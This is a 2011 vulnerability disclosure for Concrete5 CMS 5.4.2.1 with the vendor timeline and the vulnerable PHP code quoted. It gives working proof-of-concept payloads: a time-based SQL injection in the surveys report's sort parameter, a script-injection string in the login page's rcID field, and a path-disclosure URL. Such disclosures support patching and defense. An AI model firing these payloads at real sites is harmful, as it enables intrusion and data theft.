Concrete5 CMS < 5.4.2.1 - Multiple Vulnerabilities
# Exploit Title: Concrete5 <= 5.4.2.1 SQL Injection and XSS Vulnerabilities # Date: 2011-10-04 # Author: Ryan Dewhurst (ryandewhurst at gmail) (@ethicalhack3r) (www.ethicalhack3r.co.uk) # Software Link: http://sourceforge.net/projects/concretecms/files/concrete5/5.4.2.1/ # Version: 5.4.2.1 (tested) 1.Vulnerability Description Multiple SQL Injection, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within Concrete5 version 5.4.2.1 Please note: Only a select few vulnerabilities are outlined in this disclosure, many other vulnerabilities were discovered. Due to time restraints only a small sample of the vulnerabilities are outlined below. The vendor was contacted and replied promptly. Further assistance was asked for but not delivered due to my time constraints. 2.Software Description CMS made for Marketing but built for Geeks, concrete5 [0] is a content management system that is free and open source. 3.SQLi PoC [1] (authenticated user) http://concrete5.4.2/index.php/dashboard/reports/surveys/?ccm_order_by=numberOfResponses&ccm_order_dir=,(SELECT BENCHMARK(1000000,MD5(1)) FROM btSurveyResults where CURRENT_USER() like 'root@localhost' limit 1) -- 4.Vulnerable code File: concrete/controllers/dashboard/reports/surveys.php class SurveyList extends DatabaseItemList { protected $itemsPerPage = 10; protected $autoSortColumns = array('cvName', 'question', 'numberOfResponses', 'lastResponse'); function __construct() { $this->setQuery( 'select distinct btSurvey.bID, CollectionVersions.cID, btSurvey.question, CollectionVersions.cvName, (select max(timestamp) from btSurveyResults where btSurveyResults.bID = btSurvey.bID and btSurveyResults.cID = CollectionVersions.cID) as lastResponse, (select count(timestamp) from btSurveyResults where btSurveyResults.bID = btSurvey.bID and btSurveyResults.cID = CollectionVersions.cID) as numberOfResponses ' . 'from btSurvey, CollectionVersions, CollectionVersionBlocks'); $this->filter(false, 'btSurvey.bID = CollectionVersionBlocks.bID'); $this->filter(false, 'CollectionVersions.cID = CollectionVersionBlocks.cID'); $this->filter(false, 'CollectionVersionBlocks.cvID = CollectionVersionBlocks.cvID'); $this->filter(false, 'CollectionVersions.cvIsApproved = 1'); $this->userPostQuery .= 'group by btSurvey.bID, CollectionVersions.cID'; } } 5.Cross-Site Scripting (XSS) Page: http://192.168.1.105/concrete5.4.2/index.php/login/forgot_password/ Parameter: rcID Method: POST PoC: "><script>alert(1)</script> 6.Vulnerable Code File: concrete/single_pages/login.php: <input type="hidden" name="rcID" value="<?php echo $rcID?>" /> 7.Full Path Disclosure (FPD) http://concrete5.4.2.1/index.php/tools/blocks/page_list/blog_rss?bID=30&cID='&arHandle=Main 8.Vulnerability Timeline 2011-09-06 - Reported to vendor 2011-09-06 - Vendor Reply 2011-09-07 - Vendor Acknowledge Vulnerabilities and asked for assistance patching. No assistance given apart from the initial report due to time constraints. 2011-10-04 - Vulnerability Disclosed 9.References [0] http://www.concrete5.org/ [1] http://www.bonsai-sec.com/blog/index.php/not-the-average-sql-injection/ |